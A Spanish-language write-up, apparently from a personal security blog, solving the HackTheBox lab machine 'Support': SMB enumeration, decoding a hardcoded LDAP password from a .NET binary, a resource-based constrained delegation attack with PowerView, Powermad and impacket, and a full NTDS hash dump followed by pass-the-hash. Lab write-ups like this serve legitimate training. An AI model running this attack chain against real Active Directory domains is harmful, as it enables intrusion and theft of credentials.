xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Support



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn para forzar el escaneo aunque no reciba respuesta de los paquetes ping

❯ nmap 10.10.11.174 -Pn
Nmap scan report for 10.10.11.174  
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl  
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown

Con crackmapexec a nivel de smb podemos que esta corriendo un Windows 10 ver el nombre de la máquina DC y el dominio support.htb

❯ crackmapexec smb 10.10.11.174
SMB         10.10.11.174  445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)  

Para que sepa a donde resolver agregaremos al archivo /etc/hosts/ la ip con el dominio support.htb pero tambien dc.support.htb para posibles ataques futuros

❯ echo "10.10.11.174 support.htb dc.support.htb" | sudo tee -a /etc/hosts  

Listando recursos compartidos de smb encontramos uno llamado support-tools

❯ crackmapexec smb support.htb -u null -p '' --shares
SMB         support.htb     445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)  
SMB         support.htb     445    DC               [+] support.htb\null: 
SMB         support.htb     445    DC               [+] Enumerated shares
SMB         support.htb     445    DC               Share           Permissions     Remark
SMB         support.htb     445    DC               -----           -----------     ------
SMB         support.htb     445    DC               ADMIN$                          Remote Admin
SMB         support.htb     445    DC               C$                              Default share
SMB         support.htb     445    DC               IPC$            READ            Remote IPC
SMB         support.htb     445    DC               NETLOGON                        Logon server share 
SMB         support.htb     445    DC               support-tools   READ            support staff tools
SMB         support.htb     445    DC               SYSVOL                          Logon server share

Al conectarnos al recurso podemos encotrar varios archivos, varios de ellos parecen programas comunes como wireshark, 7z y tal, aunque hay uno bastante fuera de lo común UserInfo.exe.zip asi que lo descargamos para ver su contenido

❯ impacket-smbclient support.htb/null@10.10.11.174 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use support-tools
# ls
drw-rw-rw-          0  Wed Jul 20 13:01:06 2022 .
drw-rw-rw-          0  Sat May 28 07:18:25 2022 ..
-rw-rw-rw-    2880728  Sat May 28 07:19:19 2022 7-ZipPortable_21.07.paf.exe
-rw-rw-rw-    5439245  Sat May 28 07:19:55 2022 npp.8.4.1.portable.x64.zip
-rw-rw-rw-    1273576  Sat May 28 07:20:06 2022 putty.exe
-rw-rw-rw-   48102161  Sat May 28 07:19:31 2022 SysinternalsSuite.zip
-rw-rw-rw-     277499  Wed Jul 20 13:01:07 2022 UserInfo.exe.zip
-rw-rw-rw-      79171  Sat May 28 07:20:17 2022 windirstat1_1_2_setup.exe
-rw-rw-rw-   44398000  Sat May 28 07:19:43 2022 WiresharkPortable64_3.6.5.paf.exe  
# get UserInfo.exe.zip
# 

Al listar los recursos dentro del zip sin descomprimirlo encontramos varios archivos con extensión dll y config, además de un archivo llamado UserInfo.exe

❯ 7z l UserInfo.exe.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21

Scanning the drive for archives:
1 file, 277499 bytes (271 KiB)

Listing archive: UserInfo.exe.zip

--
Path = UserInfo.exe.zip
Type = zip
Physical Size = 277499

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-05-27 11:51:05 .....        12288         5424  UserInfo.exe
2022-03-01 12:18:50 .....        99840        41727  CommandLineParser.dll
2021-10-22 17:42:08 .....        22144        12234  Microsoft.Bcl.AsyncInterfaces.dll
2021-10-22 17:48:04 .....        47216        21201  Microsoft.Extensions.DependencyInjection.Abstractions.dll  
2021-10-22 17:48:22 .....        84608        39154  Microsoft.Extensions.DependencyInjection.dll
2021-10-22 17:51:24 .....        64112        29081  Microsoft.Extensions.Logging.Abstractions.dll
2020-02-19 04:05:18 .....        20856        11403  System.Buffers.dll
2020-02-19 04:05:18 .....       141184        58623  System.Memory.dll
2018-05-15 07:29:44 .....       115856        32709  System.Numerics.Vectors.dll
2021-10-22 17:40:18 .....        18024         9541  System.Runtime.CompilerServices.Unsafe.dll
2020-02-19 04:05:18 .....        25984        13437  System.Threading.Tasks.Extensions.dll
2022-05-27 10:59:39 .....          563          327  UserInfo.exe.config
------------------- ----- ------------ ------------  ------------------------
2022-05-27 11:51:05             652675       274861  12 files


Shell - support


Usando dnspy podemos debuguear el archivo exe donde podemos ver un apartado LdapQuery que define una string password igualada al resultado de la función getPassword del apartado Protected y con ella se autentica al servidor ldap

En el apartado Protected podemos ver una función que llama a 2 variables: la contraseña encriptada y la key (ambas definidas abajo), para despues realizar una operación para obtener la contraseña en texto claro

En python podemos crear un script donde definimos ambas variables y realizamos la operación que hace la función getPassword en el archivo exe

#!/usr/bin/python3
import base64

enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"  
key = b"armando"

array = base64.b64decode(enc_password)
array2 = []

for i in range(len(array)):
    array2.append(chr(array[i] ^ key[i % len(key)] ^ 223))
print("".join(array2))

Al ejecutarlo obtenemos una contraseña posiblemente valida para el servicio ldap

❯ python3 getPassword.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Podemos comprobarlo con crackmapexec hacia ldap son válidas para el usuario ldap

❯ crackmapexec ldap 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB         10.10.11.174  445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)  
LDAP        10.10.11.174  389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Despues de un rato filtrando datos con ldapsearch podemos encontrar entre la información de los usuarios un campo info que tiene lo que parece ser una contraseña

❯ ldapsearch -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb' | grep info:  
info: Ironside47pleasure40Watchful

Para recolectar información del dominio usaremos bloodhound-python pasandole las credenciales ldap, esto nos generara varios archivos json con la información

❯ bloodhound-python -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -c All -d support.htb -ns 10.10.11.174  
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done in 00M 31S

Después de subir los archivos json, podemos ver que el usuario support es el unico miembro del grupo Remote Management Users por lo que se puede conectar a winrm

Podemos probar las contraseña a nivel de winrm con el usuario support y devuelve Pwn3d! lo que significa que es válida y podemos conectarnos con evil-winrm

❯ crackmapexec winrm 10.10.11.174 -u support -p Ironside47pleasure40Watchful
SMB         10.10.11.174  5985   DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP        10.10.11.174  5985   DC               [*] http://10.10.11.174/wsman
WINRM       10.10.11.174  5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)  

Nos conectamos con evil-winrm y obtenemos una shell como el usuario support, ahora podemos leer la primera flag que se encuentra en es escritorio del usuario

❯ evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful  
PS C:\Users\support\Documents> whoami
support\support
PS C:\Users\support\Documents> type ..\Desktop\user.txt
99b**************************149
PS C:\Users\support\Documents>


Shell - Administrator


Volviendo a bloodhound, listando los grupos del usuario support que ahora tenemos pwneado podemos ver otro grupo del que forma parte Shared Support Accounts

En el apartado Group Delegated Object Control del usuario support podemos ver que el usuario support forma parte del grupo Shared Support Accounts y este a su vez tiene como permisos GenericAll sobre el equipo dc.support.htb

Para explotar este privilegios necesitamos comandos especiales asi que subimos los módulos PowerView.ps1 y Powermad.ps1, en este caso para subirlos podemos aprovechar la función upload que nos ofrece evil-winrm

PS C:\Users\support\Documents> upload PowerView.ps1

Info: Uploading PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1  

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

PS C:\Users\support\Documents> upload Powermad.ps1

Info: Uploading Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1
                       
Data: 180768 bytes of 180768 bytes copied

Info: Upload successful!

PS C:\Users\support\Documents>

Ahora para tener acceso a sus funciones los importamos con Import-Module

PS C:\Users\support\Documents> Import-Module .\PowerView.ps1  
PS C:\Users\support\Documents> Import-Module .\Powermad.ps1
PS C:\Users\support\Documents>

Ahora simplemente seguiremos los pasos que nos indica bloodhound usando los comandos que nos proporciona, iniciamos creando una nueva cuenta de máquina

PS C:\Users\support\Documents> New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)  
[+] Machine account attackersystem added
PS C:\Users\support\Documents>

Ya creada seguimos ejecutando los comandos que nos proporciona bloodhound

PS C:\Users\support\Documents> $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"  
PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
PS C:\Users\support\Documents> Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
PS C:\Users\support\Documents>

Este tipo de ataque RBCD tambien se puede hacer con las herramientas impacket, creando la cuenta de equipo con addcomputer y hacer la delegacion con rbcd

❯ impacket-addcomputer -computer-name attackersystem$ -computer-pass 123456 support.htb/support:Ironside47pleasure40Watchful
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account attackersystem$ with password 123456.

❯ impacket-rbcd -delegate-from attackersystem$ -delegate-to DC$ -action write support.htb/support:Ironside47pleasure40Watchful  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] attackersystem$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     attackersystem$   (S-1-5-21-1677581083-3380853377-188903654-5601)

En este punto bloodhound nos dice que usemos Rubeus, en este caso usaremos las herramientas de impacket, asi que iniciamos obteniendo un ticket suplantando a Administrator usando la cuenta con las credenciales que hemos creado antes

❯ impacket-getST support.htb/'attackersystem$':123456 -spn cifs/dc.support.htb -impersonate Administrator  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Una vez guardado exportamos la variable KRB5CCNAME con el nombre del ticket y usamos psexec para conseguir una cmd como Administrator, podemos leer flag

❯ export KRB5CCNAME=Administrator.ccache

❯ impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file uUiWMRnR.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service ltUm on dc.support.htb.....
[*] Starting service ltUm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
dc2**************************977

C:\Windows\system32>

Usando crackmapexec y autenticandonos con el ticket ccache de antes podemos dumpear el ntds.dit de la maquina y ver los hashes NT de todos los usuarios

❯ crackmapexec smb support.htb -k --use-kcache --ntds drsuapi
SMB         support.htb     445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)  
SMB         support.htb     445    DC               [+] support.htb\ from ccache (Pwn3d!)
SMB         support.htb     445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         support.htb     445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
SMB         support.htb     445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         support.htb     445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
SMB         support.htb     445    DC               ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
SMB         support.htb     445    DC               support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
SMB         support.htb     445    DC               smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB         support.htb     445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:ade13794d228c047819a03b8ca7417d1:::
SMB         support.htb     445    DC               MANAGEMENT$:2601:aad3b435b51404eeaad3b435b51404ee:3f99f2f26988d1f348d378e84f86bc58:::
SMB         support.htb     445    DC               attackersystem$:5601:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

Ahora con el hash NT de Administrator podemos conectarnos con evil-winrm

❯ evil-winrm -i support.htb -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26  
PS C:\Users\Administrator\Documents> whoami
support\administrator
PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
dc2**************************977
PS C:\Users\Administrator\Documents>